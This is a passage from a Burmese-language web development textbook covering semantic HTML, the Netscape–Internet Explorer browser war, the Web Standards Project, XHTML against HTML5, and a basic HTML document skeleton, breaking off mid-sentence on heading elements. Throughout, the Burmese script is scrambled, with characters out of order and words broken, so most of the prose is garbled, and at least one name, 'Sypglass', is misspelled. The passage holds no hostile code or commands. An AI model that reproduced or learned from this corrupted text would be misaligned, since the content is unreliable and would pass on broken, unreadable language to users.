ိလလ့ာစ Web Developer ိတဟွာ Web Document ိတတွည်ိ ဆာက်ြတဲ့အခါ "လူိ တဖွေတလ်ို့ရေဖေို့" ကုိြ အဓကိြ
ဦးတည်  တည်ိ ဆာက်ြအကြိလ့  ရေှိပါတယ။်  Web Document  ိတကုိွြ ကွြနပ်ျူတာကြလညး်  Process  လုပန်ိုငဖ်ေိုလ့ို
တယ် ဆုိတဲ့အချက်ြကိြု သတလိတွ်ိ မ့ိ လျာတ့က်ြအကြပါတယ။် Web Document  တစ်ခဟုာ  Text Document  သာ
ပဖေစ်လို့ စညး်မျဉး်ိတနွဲ့မကိြက်ုြညလီညး် လူိတအွတက်ွြိတာဖ့ေတလ်ိုရ့ေိနနိုငမ်ာှပါ။ ဒါိပမယ့် အ့ဲဒီ   Document  ကုိြ
အိပခခပံပးီိတာ့ ကြျွန်ိ တာတ်ို့ကြတစ်ပခား  Process ိတ ွလုပရ်ေဦးမာှပါ။ အိပခခပံဖေစ်တဲ့  Document စနစ်မကြျခဲ့ရေင်
Google  လုိ  Search Engine  နဲ့  Web Browser  ိတကွြ ကြျွန်ိ တာတ်ို့  Document  ကုိြ အပပည့်အဝနားမလညတ်ဲ့
ပပဿနာရေှိနိုငသ်လို၊  ကြျွန်ိ တာတ်ို့ကိြယ်ုတိုင်  ဆက်ြလက်ြိရေးသားရေမယ့်  CSS  နဲ့   Style  ိတသွတမ်တှပ်ခငး်၊
JavaScript နဲ့ Element ိတ ွစီမခံန့်ခွဲပခင်း ကိြစ္စ တကုိွြိဆာငရ်ေက်ွြတဲ့အခါ အခကြအ်ခဲိ တနွဲ့ ိတွ့ရေမာှပဖေစ်ပါတယ်။ 

ဒါိအကြာင့်  HTML  နဲ့  ပတသ်က်ြရေငက်ြျွန်ိ တာတ်ို့ဟာ   ကွြနပ်ျူတာကြနားလညန်ိုငတ်ဲ့   Data  Structure   တည်
ိဆာက်ြိနပခငး် ပဖေစ်တယ်ဆုိတဲ့အသိဟာ ပထမဦးဆံုးလိုအပခ်ျက်ြပပဲဖေစ်ပါတယ်။ သပရ်ေပလ်ပှိအာငဘ်ယ်လိုပုံစံိဖောပ်ပ
မယ်၊  လူိတရွေဲ့မျက်ြစိမာှ  ပသာဒပဖေစ်ိအာင်  ဘယ်လိုဖေနတ်းီမယ်ဆုိတဲ့ကိြစ္စဟာ  HTML  ရေဲ့တာဝနမ်ဟတုပ်ါဘးူ။
လက်ြိတွ့မာှလပုလ်ို့လညး်  မရေပါဘးူ။  ဒါဟာ   ိနာက်ြအခနး်မာှ  ဆက်ြလက်ြိလလ့ာမယ့်  CSS  လိုိ့ ခါ်တဲ့  Style
Language  ရေဲ့  တာဝနပ်ပဲဖေစ်ပါတယ်။  Semantic  Web  ရေဲ့  အိရေးပါပုံကုိြ  ပိုပပးီိပါ်လငွ်ိ စဖေို့   Browser  War  နဲ့
XHTML အိအကြာငး် ထည့်သွငး်ိဖောပ်ပလိုပါတယ။်
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2.2 - Browser War
ပထမဦးဆံုး  Web Browser  ပဖေစ်တဲ့  Mosaic  ကုိြတထီငွခ်ဲ့တဲ့  Marc Andreessen  နဲ့  Jim Clark  တို့နစ်ှိယာက်ြ
ဟာ  NCSA ကြ ထွက်ြပပးီ Mosaic Communications ဆုိတဲ့ လပုင်နး်တစ်ခကုိုြ တည်ိ ထာငခ်ဲ့ပါတယ်။ ိနာက်ြပိုငး်
မာှ  Netscape  Communications  Corporation  လို့အမည်ိ ပပာငး်ပပးီ   Netscape  Navigator  ဆုိတဲ့  Web
Browser ကုိြ ဖေနတ်းီခဲ့အကြပါတယ်။ Netscape Navigator ရေဲ့  Version 1.0 ကုိြ ၁၉၉၄ ခနုစ်ှ ဒဇီငဘ်ာလမာှိအကြပငာ
ခဲ့ပါတယ်။

အ့ဲဒီအချနိမ်ာှပဲ NCSA ရေဲ့  အဖေွဲ့ခွဲတစ်ခပုဖေစ်တဲ့  Sypglass Inc. ကြ Mosaic Browser ရေဲ့  လိုငစ်ငကုိ်ြ Microsoft ကုိြ
ိပးလိုက်ြပါတယ်။ ၁၉၉၅ ခနုစ်ှ ဩဂတုလ်မာှ Mosaic Browser ကုိြအိပခခထံားတဲ့ Internet  Explorer စတင်ိ ပါ်
ိပါက်ြလာပါတယ်။ ဒါိအကြာင့ိ် ရေှ့အခနး်မာှ   Microsoft  Internet  Explorer  နဲ့  Mozilla  Firefox  တို့ဟာ မလူ
ပထမ Browser ပဖေစ်တဲ့ Mosaic ကြိန ဆငး်သက်ြလာအကြတယ်လို့ ိပပာခဲ့တာပဖေစ်ပါတယ်။  Mosaic ကုိြ တထီငွခ်ဲ့သူ
ိတ ွဖေနတ်းီထားတဲ့  Netscape Navigator  ဟာိနာက်ြပိုငး်မာှ  Mozilla Firefox  ပဖေစ်လာမယ့်  Browser  ရေဲ့  အစ
လညး်ပဖေစ်ပါတယ်။  တစ်ချနိတ်ညး်မာှပဲိ နာ်ိ ဝ ဆက်ြသယ်ွိရေးလပုင်နး်တစ်ခပုဖေစ်တဲ့  Telenor  ကြလညး်  Opera
Web  Browser  ရေဲ့  ပထမဆံုး  Version  ကုိြ  စမး်သပထ်တုလ်ပုခ်ဲ့ပါတယ်။  ဒါိအကြာင့်  Opera  ဟာ  ိရေးှအကြျဆံုး
Browser  ိတထွကဲြတစ်ခလုို့ဆုိနိုငပ်ပီး ကြိနထ့လိညး်  Opera  ရေဲ့  သက်ြိရောက်ြမှု တ ွWeb Standards  ထမဲာှရေှိိ န
ဆဲပဖေစ်ပါတယ်။

အ့ဲဒီအချနိက်ြစပပးီ အသံုးပပုသူိတနွဲ့  Developer ိတကုိွြဆွဲိ ဆာငန်ိုငဖ်ေို့  Web Browser ိတကွြ သူထ့က်ြငါိကြာငး်
ိအာင ်ကကိြုးစားအကြရေငး် Browser War စတင်ိ ပါ်ိပါက်ြလာပါတယ်။ 

Opera ကြိတာ့ Browser War မာှ ဒီိ လာက်ြပပငး်ပပင်းထနထ်န် မပါဝငပ်ါဘးူ။ ဒါိပမယ့် Microsoft နဲ့ Netscape
တို့  ကြိတာ့  အိတာ်ိ လး  ပပို ငခ်ဲ့အကြတာပါ။  နစ်ှဖေွဲ့လုံးရေဲ့အဓကိြဦးတညခ်ျက်ြကြ  သူတို့   Web  Browser  မာှ
လပု်ိ ဆာငခ်ျက်ြ အသစ်ိတ ွအပခားသူထက်ြ ဦးိအာငထ်ပထ်ည့်ဖေို့ပပဲဖေစပ်ါတယ်။ တစ်ဦးထက်ြတစ်ဦးသာဖေို့ကိြု အဓကိြ
ဦးတည်ိ နရေတဲ့အတက်ွြ အတတူစ်ကွြပးူိပါငး်ပပီး တညူတီဲ့စံတစ်ခရုေိအာင ်ညှိနှိုငး်ဖေို့ဆုိတာ သိပမ်စဉ်းစားအကြပါဘးူ။

အ့ဲဒီအချနိက်ြာလိတဟွာ  Web  Developer  ိတအွတက်ွြ  စိတအ်ညစ်ရေဆံုးအချနိ်ိ တပွပဲဖေစ်ပါတယ်။  Document
တစ်ခု တည်ိ ဆာက်ြချငရ်ေင်  Document  တစ်ခတုညး်ကုိြပဲ နစ်ှမျို းခွဲပပီး တည်ိ ဆာက်ြိပးရေိလရ့ေှိပါတယ်။  Internet
Explorer  အတက်ွြတစ်မျို း၊  Netscape  အတက်ွြတစ်မျို း  နစ်ှမျို းခွဲပပးီ  တည်ိ ဆာက်ြရေတဲ့သိဘာ  ပဖေစ်ပါတယ်။
တစ်ခါတစ်ရေံ  Browser  တစ်ခတုညး်  အတက်ွြ  ရေညရ်ေယ်ွတည်ိ ဆာက်ြပပးီ  "တစ်ပခား  Browser  နဲ့  မအကြည့်ရေ"  လို့
သတမ်တှရ်ေတာိတလွညး် ရေှိခဲ့ပါတယ်။ ကြိန့ိ ခတလ်ို  အဓကိြ Browser (၅) ခအုပါအဝင် အပခား Browser ိပါငး်
ိလးငါးဆယ်ိလာက်ြ ရေှိတဲ့ိ ခတမ်ာှသာ အ့ဲဒလီိုပဖေစ်ိနိသးရေင ်Developer ိတ ွအတက်ွြိတာ ့မိတးွရေစဲရောပါပ။ဲ

ဒလီိုကိြစ္စ တမွာှတညူီိ အာငည်ှိိ ပးမယ့်  W3C  ရေှိိ နိပမယ့်လညး်  အစပိငုး်မာှ  W3C  Web  Standard  ိတကုိွြ
စနစ်တကြျ သိရေှိသူ အိတာ်ိ လးနညး်ခဲ့ပါတယ်။ ၁၉၉၈ ခနုစ်ှိရောက်ြတဲ့အထိ Internet Explorer နဲ့ Netscape တို့ရေဲ့
ယှဉပ်ပို ငမ်ှု  Browser  War  ိအာက်ြမာှ  Web  Development  ိလာကြဟာဖေရုိဖေရေဲ  ပဖေစ်ိနခဲ့ရေတာပပဲဖေစ်ပါတယ်။
Web Developer ိတအွတက်ွြ Browser War ကြတစ်မျို း၊ အဲဒီ Browser War ိအကြာင့် မပဖေစ်ပဖေစ်ိအာင် ဖေနတ်းီရေ
တဲ့အတက်ွြ စနစ်မကြျ ပဖေစ်ိနတဲ့ Web Document ိတကွြတစ်သွယ်နဲ့ ခက်ြခတဲဲ့ကြာလိတပွပဲဖေစ်ပါတယ်။
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၁၉၉၈ ခနုစ်ှမာှိတာ့  Professional Web Developer  ိတနွဲ့ဖေွဲ့စညး်ထားတဲ့  Web Standard Project (WaSP)
ဆုိတဲ့  အဖေွဲ့အစညး်တစ်ရေပ်  ိပါ်ိပါကြလ်ာပပးီ  Web  Standard   ရေဲ့အိရေးပါပုံကုိြ  ိဖောထ်တု်ိ ပပာဆုိလာခဲ့ပါတယ်။
အဓကိြ ရေညရ်ေယ်ွချက်ြကြိတာ့  Microsoft  နဲ့  Netscape  တို့အိနနဲ့  W3C Web Standard  များကုိြ  တတိကိြျကြျ
လိုက်ြနာိအာင်  တနွး်အားိပးဖေို့ပဲ  ပဖေစ်ပါတယ။်  WaSP  ရေဲ့  ိရေးသားိဖောပ်ပမှု တဟွာ  အငတ်ာနက်ြမာှအလျငအ်ပမန်
ပပန့်နှံလ့ာတဲ့အတက်ွြ  Web  Developer  ိတအွပါအဝင်  အငတ်ာနက်ြအသံုးပပုသူိတအွိနနဲ့  Web  Standard  ရေဲ့
အိရေးပါပုံကုိြ  ပိုမိုသိရေှိ နားလညလ်ာခဲ့အကြပါတယ်။

၂၀၀၀ ပပည့်နစ်ှိရောက်ြတဲ့အခါမာှ Microsoft ကြ Mac အတက်ွြ Internet Explorer 5 ကုိြ ိအကြပငာခဲ့ပါတယ်။ အ့ဲဒီ
Browser  မာှ  Web  Standard  ကုိြ  အိတာ်ိ လးလိုက်ြနာလာလို့  ဒါဟာအိရေးပါတဲ့ကြာလတစ်ခလုိုဆုိ့နိုငပ်ါတယ်။
WaSP ကြ Netscape ကုိြလညး် Navigator 5 ကုိြမပဖေန့်ိ သးပ ဲWeb Standard ကုိြ အတိုငး်အတာတစ်ခထု ိလိုက်ြနာ
နိုငပ်ပဆီိုမ ှသာပဖေန့်ဖေို့ ဖေအိားိပးခဲ့ပါတယ်။ 

တစ်ချနိတ်ညး်မာှပဲ  Wired, ESPN  အစရေှိတဲ့  Website  ိတကွြစပပးီ သူတို့  Website  ိတကုိွြ  Web Standard  နဲ့
အညီ ိပပာငး်လတဲည်ိ ဆာက်ြလာခဲ့အကြပါတယ်။ ၂၀၀၃ ခနုစ်ှမာှိတာ့  CSS Zen Garden  ဆုိတဲ့  Website  တစ်ခု
ိပါ်လာခဲ့ပပးီ  HTML  ကုိြ ထစိရောမလိုပဲ  CSS  ကုိြသံုးပပးီ  Website  တစ်ခလုုံးရေဲ့  Design  ကုိြ  အမျို းမျို းိပပာငး်လို့
ရေိအကြာငး်  လက်ြိတွ့ ပပသလာခဲ့ပါတယ်။   Web Developer  ိတအွထးူစိတဝ်ငစ်ားအကြပပးီ  ဒါဟာ  Web Design
ိလာကြကုိြ တစ်ိခတဆ်နး်ိစခဲ့တဲ့ ဖေနတ်းီမှုလညး် ပဖေစ်ခဲ့ပါတယ်။

၂၀၀၄ ခနုစ်ှကုိြိရောက်ြလာတဲ့အခါ Web Standard ကုိြ ိကြာငး်ိကြာငး်လိုက်ြနာထားတဲ့ Mozilla Firefox ရေဲ့  ပထမ
ဆံုး  Version  ထက်ွြလာခဲ့ပါတယ်။ အ့ဲဒနီစ်ှထမဲာှပဲ  Google  ကြ  Gmail  ကုိြ စတင်ိ အကြပငာခဲ့ပါတယ်။  Gmail  ဟာ
Web Standard  တစ်ခပုဖေစ်တဲ့  JavaScript  နဲ့  DOM  ကုိြ အဓကိြအသံုးပပုပပးီ  တည်ိ ဆာက်ြထားပခငး်ပဖေစ်ပါတယ။်
အဆင့်ပမင့် App ိတကုိွြ JavaScript နဲ့ ဒလီို တည်ိ ဆာက်ြနိုငပ်ါလားလို့ Web Developer ိတအွတက်ွြ စံနမနူာယူ
စရော App တစ်ခ ုပဖေစ်လာခဲ့ပါတယ်။ ၂၀၀၄ ခနုစ်ှ နစ်ှကုြနပ်ိုငး်ိလာက်ြမာှိတာ ့O'Reilly Media ကြ Tim-O'Reilly
ကြ  Web2.0  ဆုိတဲ့စကြားလုံးကုိြ  စတငမ်တိဆ်က်ြခဲပ့ါတယ်။  အဲဒီိ နာက်ြပိုင်းကြစပပးီ  Web2.0  ဆုိတဲ့ိ ကကြးိကြျာ်
သံိအာက်ြမာှ  Web  Standard  နဲ့အညီ  တည်ိ ဆာက်ြထားတဲ့  App  ိတတွစ်ခပုပီးတစ်ခု  ိပါ်ိပါကြလ်ာခဲ့ပါိတာ့
တယ်။ Web App ိတ ွစတငတ်စ်ိခတဆ်နး်ခဲ့တဲ့ ကြာလိတပွပဲဖေစ်ပါတယ်။

2.3 - HTML vs. XHTML
W3C ဟာ Web Standard ကုိြ သတမ်တှ်ိ ပးတဲ့ အဖေွဲ့အစညး်တစ်ခပုဖေစပ်ါတယ်။ Web Standard ကုိြ သတမ်တှရ်ေ
ပခငး် ရေညရ်ေယ်ွချက်ြကြ Web Industry ထမဲာှရေှိတဲ့ပါဝငသူ်အားလုံး နညး်ပညာအရေ ညညီတွရ်ေမယ့် ိနရောိတမွာှညီိ န
ိအာင်  စံသတမ်တှခ်ျက်ြိတနွဲ့  ညှိနှိုငး်ိပးဖေိုပ့ဖေစ်ပါတယ။်  ိဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့  Browser  War  ကြာလမာှ  Internet
Explorer  နဲ့  Netscape  တို့ကြ  W3C  ကြ သတမ်တှ်ိ ပးထားတဲ့  Web Standard  အတိုငး်မဟတုပ်ဲ  အပပို ငအ်ဆုိင်
တထီငွထ်ည့်သွငး်ထားတဲ့  လပု်ိ ဆာငခ်ျက်ြိတ ွ ကုိြယ်စီရေှိခဲ့အကြပါတယ်။  တစ်ချို ့လပု်ိ ဆာင်  ချက်ြိတကွြ  တစ်ဦးကုိြ
တစ်ဦးတပုရေငး် အလိုလို ည ီသွားတာိတလွညး်ရေှိပါတယ်။

ဥပမာ - <font> ဆုိတဲ့ HTML Element ကုိြသံုးပပးီ Web Document တစ်ခမုာှပါဝငတ်ဲ့ စာသားိတကုိွြ စာလုံး
ပုံစံ ိပပာငး်ပခငး်၊ စာလုံးအိရောင်ိ ပပာငး်ပခငး် စတာိတလွပုန်ိုငပ်ါတယ်။ အ့ဲဒီ <font> Element ဟာ Standard ထဲ
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မာှ မပါပါဘးူ။ Netscape ကြတထီငွအ်သံုးပပုထားတာပဖေစ်ပါတယ်။ ဒါိပမယ့် အ့ဲဒီ <font> Element ကုိြ Internet
Explorer  ကြပါ  အသိအမတှပ်ပုလာတဲ့အတက်ွြ  Web Developer  ိတကွြ  Document  ိတတွည်ိ ဆာက်ြတဲ့အခါ
ထည့်သွငး်အသံုးပပု မယ်ဆုိရေင်  Internet Explorer မာှပါ အလပုလ်ပုလ်ာပါတယ်။ W3C ရေဲ့  ပထမရေညရ်ေယ်ွချက်ြကြ
တညူီိ အာငည်ှိိ ပးဖေို့ ပဖေစ်ပါတယ်။ အခလုို အလိုလိုညပီပးီသား ကိြစ္စ တကုိွြ ညပီပးီပဖေစ်လို့ Standard ထကုိဲြ ထည့်သွင်း
အသိအမတှပ်ပုိပးရေတဲ့ သိဘာလညး် ရေှိပါတယ်။

HTML 3.0 ိရောက်ြလာတဲ့အခါ မလူစံမာှမပါိပမယ့် IE နဲ့ Netscape တို့တစ်ညတီညး်သံုးိနတဲ့အတက်ွြ ထည့်သွငး်
ိပးထားတဲ့  Element  ိတ ွအိတာမ်ျားလာခဲ့ပပပီဖေစ်ပါတယ်။ ဒလီိုထည့်သွင်းိပးလိုက်ြတဲ့အတက်ွြ  HTML  ရေဲ့  မလူ
ရေညရ်ေယ်ွချက်ြကုိြလညး်  တစ်ပဖေညး်ပဖေညး်ထခိိုက်ြလာပါတယ်။  HTML  ဆုိတာဟာ  Semantic  Data  Structure
တည်ိ ဆာက်ြဖေိုဆုိ့တဲ့ ရှုိဒါင့်ကြိန အပမငလ်တှဲ့ Document ိတတွည်ိ ဆာက်ြဖေိုအ့တက်ွြ ဆုိတဲ့ဘက်ြကုိြ ဦးတညလ်ာ
တဲ့သိဘာပဖေစ်ပါတယ်။ 

HTML  4.0  နဲ့  4.01  ကုိြိရောက်ြတဲ့အခါမာှိတာ့  ပပနပ်ပငလ်ို့မရေနိုင်ိ တာ့ိ လာက်ြိအာင်  HTML  ဟာ  Semantic
Data Structure ဆုိတဲ့ ရှု ဒါင့်ကြိန ိဝးကွြာလာပပပီပဲဖေစ်ပါတယ်။ HTML နဲ့ိ ရေးသားထားတဲ့ Web Document ဆုိ
တာဟာ  Web App  ိတရွေဲ့အိပခခံ  Data Structure  မဟတု်ိ တာပ့ဲ  Font  အမျို းမျို း၊  စာလုံးအိရောငအ်မျို းမျို းနဲ့
Text Format လုပထ်ားတဲ့ Document သာသာ ပဖေစ်လာပါိတာတ့ယ်။ Browser Support အားနညး်မှုဟာ အဓကိြ
အချက်ြ ပဖေစ်ိပမယ့် ဒလီိုလွဲမာှးတဲ့အိပခခံ  Concept ိတဟွာလညး် အ့ဲဒကီြာလိတမွာှ အဆင့်ပမင့်  Web App ရေယ်
လို့ ိပပာပိလာက်ြိအာင ်ိပါ်ထက်ွြမလာပခငး် အိအကြာငး်ရေငး်တစ်ခပုဖေစ်ပါတယ်။

W3C အိနနဲ့အိပခအိနိတကုိွြထမိး်ညှိဖေို့  မပဖေစ်မိနလိုအပလ်ာပါတယ်။ ဒါိပမယ့်  HTML 4.01  မာှ ထည့်သွငး်
ထားပပးီသား  Element  ိတကုိွြိနာက်ြ  Version  မာှ  ပပနပ်ဖေုတပ်ပစ်လိုိ့ တာမ့ရေပါဘးူ။ လက်ြရေှိ  HTML 4.01  ကုိြ
အသံုးပပု  ိရေးသားထားတဲ့  Website  ိတအွများကကီြးရေှိိ နပပပီဖေစ်တဲ့အတက်ွြ  ပဖေုတပ်ပစ်လိုက်ြရေင်  Backward
Compatibility  ကုိြ ထိခိုက်ြမာှပပဲဖေစ် ပါတယ်။ ဒါိအကြာင့်  W3C ကြ HTML ကုိြမပပင်ိ တာပ့ဲ  XHTML လ့ုိိခါ်တဲ့
သီးပခား  Markup Language တစ်ခကုိုြ ၂၀၀၀ ပပည့်နစ်ှ ဇနန်ဝါရေလီမာှ ိအကြပငာခဲ့ပါတယ။် XHTML မာှ ပါတဲ့  X
ဟာ eXtensible ဆုိတဲ့အဓပိ္ပါယ်ပဖေစ်ပါတယ်။ W3C ကြပဲ တထီငွထ်ားတဲ့ Data Model Language ပဖေစ်တဲ့ XML
ိရေးသားပုံအတိုင်း ိရေးသားရေမာှပဖေစ်ပပးီ ပိုပပးီစနစ်ကြျတဲ့ HTML လို့လညး် ဆုိနိုငပ်ါတယ်။

HTML မာှထည့်သွင်းထားတဲ့  Semantic  မပဖေစ်တဲ့  Element  ိတကုိွြ  XHTML မာှ ပဖေုတထ်ပုပ်ပစ်ခဲ့ပပီး စညး်မျဉး်
စညး်ကြမ်းိတကုိွြလညး် ပိုမိုတငး်အကြပလ်ိုက်ြပါတယ်။ ဥပမာ - XHTML မာှ Element Tag ိတအွားလုံးကုိြ စာလုံး
ိသးနဲ့ပဲိ ရေး ရေမယ်လို့သတမ်တှပ်ါတယ်။  HTML မာှိတာ့ စာလုံးအကကီြးအိသး နစ်ှသက်ြရောနဲ့ ိရေးလို့ရေသလို အမျို း
မျို းလညး် ိရေးအကြ ပါတယ်။  XHTML မာှ  Element  တိုငး်အတက်ွြ Close Tag  ပါဝငရ်ေမယ်လို့သတမ်တှပ်ါတယ်။
Close  Tag  မရေှိတဲ့  Empty  Element  ိတကုိွြလညး်  Self-Closing  Element  အပဖေစ်  ိဖောပ်ပသတမ်တှရ်ေမယ်လို့
သတမ်တှပ်ါတယ်  (ဥပမာ  -  <br /> <img />)။  Attribute  Value  တိုငး်ကုိြလညး်  Quote  အတငွး်ထမဲာှ
ထည့်သွငး်ရေမယ်လို့သတမ်တှပ်ါတယ။်  စသပဖေင့်  အပခားသတမ်တှခ်ျက်ြ  ိတလွညး်  ရေှိပါိသးတယ်။  လိုရေငး်ကြိတာ့
XHTML ဟာ HTML မာှ မာှးခဲ့တဲ့အမာှးိတကုိွြ ပပုပပငဖ်ေယ်ထပုပ်ပးီ  Semantic Document  ိတတွည်ိ ဆာက်ြဖေို့
အတက်ွြ ရေညရ်ေယ်ွဖေနတ်းီလိုက်ြတဲ့ Markup Language တစ်မျို းပပဲဖေစ်ပါတယ်။
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WaSP ရေဲ့  ဦးိဆာငမ်ှုနဲ့ Web Standard လှုပရ်ောှးမှု တပွပုလပု်ိ နစဉမ်ာှ Web Developer ိတဟွာ XHTML ကုိြ
သာ  Web Document  ိတတွည်ိ ဆာက်ြဖေိုအ့သံုးပပုခဲ့အကြပပးီ အပခား  Developer  ိတကုိွြလညး်  XHTML  ကုိြသာ
အသံုးပပုဖေို့ အားိပးမှု တ ွပပုလပုခ်ဲ့အကြပါတယ်။ 

WaSP လှုပရ်ောှးမှုနဲ့  XHTML ဟာ Semantic Web Document နဲ့  Browser ိတရွေဲ့  Web Standard Support
ကုိြ များစွာ သက်ြိရောက်ြမှုရေှိခဲ့တာပပဲဖေစ်ပါတယ်။ တငွတ်ငွက်ြျယ်ကြျယ် အသံုးပပုခဲ့တဲ့  XHTML  ဟာ  Version 1.1
ပဖေစ်ပပးီ  Version 2  အိနနဲ့ ထပမ်ထံက်ွြိပါ်လာခဲ့ပခငး်ိတာ့ မရေှိပါဘးူ။ ဒစီာိရေးိနချနိထ်ိ  W3C  ိအကြပငာချက်ြများ
အရေ ထပမ်ထံက်ွြိပါ်ဖေို့လမဲရေှိိ တာပ့ါဘးူ။ XHTML 2.0 အစား HTML5 ကုိြသာ အနာဂါတ ်Web Document များ
အတက်ွြ တစ်ခတုညး်ိသာ Markup Language အပဖေစ်အသံုးပပုအကြရေိတာမ့ာှ ပဖေစ်ပါတယ်။

HTML5  မာှ  ရေညရ်ေယ်ွချက်ြိကြာငး်ိတရွေှိခဲ့တဲ့  XHTML  သတမ်တှခ်ျက်ြိတကုိွြ ိပါငး်စပထ်ည့်သွင်းထားပပီး  မလူ
HTML  4.01  အသံုးပပုထားတဲ့  Website  ိတအွတက်ွြလညး်  Backward  Compatible  ပဖေစ်ိအာင်  စီမထံားပါ
တယ်။ HTML5 အိအကြာငး် ိပပာစရောများစွာရေှိတဲ့အတက်ွြ ဒီိ နရောမာှအကြျယ်မချဲ့ ိတာပ့ါဘးူ။ အခနး် (၁၃) ိရောက်ြ
မသှာ  သီးပခားထပမ်ံ  ိဆွးိနးွမာှပဖေစ်ပါတယ်။  အခုိ တာ့  ကြျွန်ိ တာတ်ို့သိဖေိုလ့ိုတဲ့   HTML  Element  တစ်ချို ့ကုိြ
ဆက်ြလက်ြ ိလလ့ာသွားချငပ်ါတယ်။ 

2.4 - HTML
HTML Document တစ်ခု ပဖေစ်ိပမာက်ြဖေိုအ့တက်ွြ အနညး်ဆံုးလိုအပခ်ျက်ြကြိတာ့ Document Type Declaration
ပဲ ပဖေစ်ပါတယ်။ ဒတီစ်ခပုါရေင် HTML Document လို့ဆုိနိုငပ်ါပပ။ီ ဒါိပမယ့်လညး် ပပည့်စံုတဲ့  HTML Document
တစ်ခဟုာ အနညး်ဆံုးိတာ ့ိအာက်ြိဖောပ်ပပါ Element ိတ ွပါဝငသ်င့်ပါတယ် -

<!doctype html> 
<html> 
  <head> 
    <title>Document Title</title> 
  </head> 
  <body> 
    <!-- Document Content --> 
  </body> 
</html>

ပထမဆံုးလိုငး်  <!doctype html> ဆုိတာကြ ဒီ  Document  ဟာ  HTML Document  တစ်ခပုဖေစ်ိအကြာငး်
ိအကြပငာလိုက်ြတဲ့ Document Type Declaration ပဲ ပဖေစ်ပါတယ်။ ကြျန် HTML Elements အားလုံးကုိြ <html>
Element  အတငွး်မာှ ဆက်ြလက်ြိရေးသားရေမာှပါ။  <html> Element  အတငွး်မာှ အဓကိြ  Element  နစ်ှခသုာရေှိပါ
တယ်။ <head> Element နဲ့ <body> Element တို့ပပဲဖေစ်ပါတယ်။ <head> Element ဟာ လက်ြရေှိ Document
နဲ့သကြဆုိ်ငတ်ဲ့ အချက်ြအလက်ြိတ ွိအကြပငာဖေို့အသံုးပပုရေပါတယ်။ သူ့ ထဲမာှ ပုံမနှအ်ားပဖေင့် <title> Element တစ်
ခု  ပါဝငသ်င့်ပါတယ်။  <title> Element  အတငွး်မာှ  Document  Title  အိနနဲ့  အသံုးပပုလိုတဲ့ိ ခါငး်စဉကုိ်ြ
ထည့်သွငး်ိပးရေမာှပါ။ <head> Element အတငွး်မာှ ထည့်သွငး်ိလရ့ေှိတဲ့ အပခား Element ိတကွြိတာ့ <meta>
<link> <script> <style> တို့ပပဲဖေစ်ပါတယ်။ 
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<body> Element  အတငွး်မာှိတာ့  Web Browser  မာှ  Content  အိနနဲ့  ိဖောပ်ပိစလိုတဲ့  အချက်ြအလက်ြိတွ
ထည့်သွငး် ိရေးသားရေမာှပါ။ နမနူာမာှ အသံုးပပုထားတဲ့ <!-- -->  Element ကြိတာ့ မတှခ်ျက်ြိတ ွထည့်သွငး်ဖေို့
အသံုးပပုနိုငတ်ဲ့  Comment Element  ပဖေစ်ပါတယ်။  Comment Element  ထဲမာှ ိရေးသားထားတဲ့ အချက်ြအလက်ြ
ိတဟွာ Document တည်ိ ဆာက်ြသူရေဲ့  မတှခ်ျက်ြများသာပဖေစ်ပပးီ ထည့်သွင်းိဖောပ်ပမာှမဟတုတ်ဲ့ အချက်ြအလက်ြများ
ပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ HTML Element  ိတွစစုညး်ိရေးသားထားတ့ဲ  Web Document  ိတွကြို File System မာှ သမိး်ဆညး်တ့ဲအခါ
html Extension (ဥပမာ  - home.html)  နဲ့  သမိး်ဆညး်ရေပါတယ။်  Document  တစခ်ဟုာ  Web Document  ပဖေစ်ိ အကြာငး်
ကြနွပ်ျူတာကြို အသိိ ပးဖေို့  Extension ကြ အဓကိြိတာမ့ကြျပါဘးူ။ Content-Type လုိ့ိ ခါ်တ့ဲ  File Attribute ကြသာ အဓကိြ
ပဖေစပ်ါတယ။် ဒါကြို ထည့်သငွး်ိပပာရေတာကြ Web Document  တုိငး်  html Extension ရေှိရေမယလုိ့် ပုံိ သမယဆူိစချငလုိ်ပ့ဖေစပ်ါ
တယ။် ိယဘယုျအားပဖေင့် မနှ်ိ ပမယ့်  html Extension မိပးထားတ့ဲ Web Document ိတွလညး် ရေှိနိုငပ်ါတယ။်

Basic Elements
တစ်ပခားရှုပ်ိ ထးွတဲ့ လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ခဏိမထ့ားပပးီ  HTML Document  တစ်ခကုိုြ ကြျွန်ိ တာတ်ို့ စာရေက်ွြ
ိတနွဲ့ ိတွ့ ပမင်ိ နအကြ  Text Document ိတနွဲ့ နှိုငး်ယှဉအ်ကြည့်ရေိအာငပ်ါ။  Text Document ိတမွာှ ပုံမနှအ်ားပဖေင့်
ိခါငး်စးီ ိတပွါမယ်၊ စာပိုဒ် ိတပွါမယ်၊ စာရေငး်ိတပွါမယ်၊ ဇယားိတပွါမယ်၊ ိရေးသားပဖေည့်သွငး်နိုငတ်ဲ့ Form ိတွ
ပါဝငမ်ာှပဖေစ်ပါတယ်။ ပဖေည့်စွက်ြပါဝငန်ိုင် တာိတကွြိတာ့ ပုံိ တနွဲ့ Hyperlink ိခါ် အပခား Document ိတကုိွြချတိ်
ဆက်ြနိုငတ်ဲ့ Link ိတပွ ဲပဖေစ်ပါတယ်။ 

ိခါငး်စးီဆုိတဲ့ိ နရောမာှ  အဆင့်လိုက်ြိခါင်းစီးအမျို းမျို းရေှိနိုငပ်ါတယ်။  Document  တစ်ခမုာှ  Main  Heading  လ့ုိ
ိခါ်တဲ့  အဓကိြ  ိခါင်းစီးရေှိနိုငသ်လို  သက်ြဆုိငရ်ောကြဏတစ်ခစီုမာှ  ထပဆ်င့်ခွဲိ ပးထားတဲ့  Sub  Heading  ိခါ်
ိခါငး်စဉခ်ွဲိ တ ွရေှိနိုငပ်ါတယ်။  HTML Document  တစ်ခမုာှ  ိခါင်းစီးနဲ့ိ ခါငး်စဉခ်ွဲ  (၆)  ဆင့်ထည့်လို့ရေပါတယ်။
Main Heading အတက်ွြ <h1> Element ကုိြသံုးရေပါတယ်။ ပထမအဆင့်ိ ခါငး်စဉခ်ွဲအတက်ွြ <h2> Element ကုိြ
သံုးရေပါတယ်။ ဒတုယိအဆင့် အတက်ွြ ိခါငး်စဉခ်ွဲကုိြိတာ့ <h3> Element ကုိြ အသံုးပပုရေပပးီ <h4> <h5> <h6>
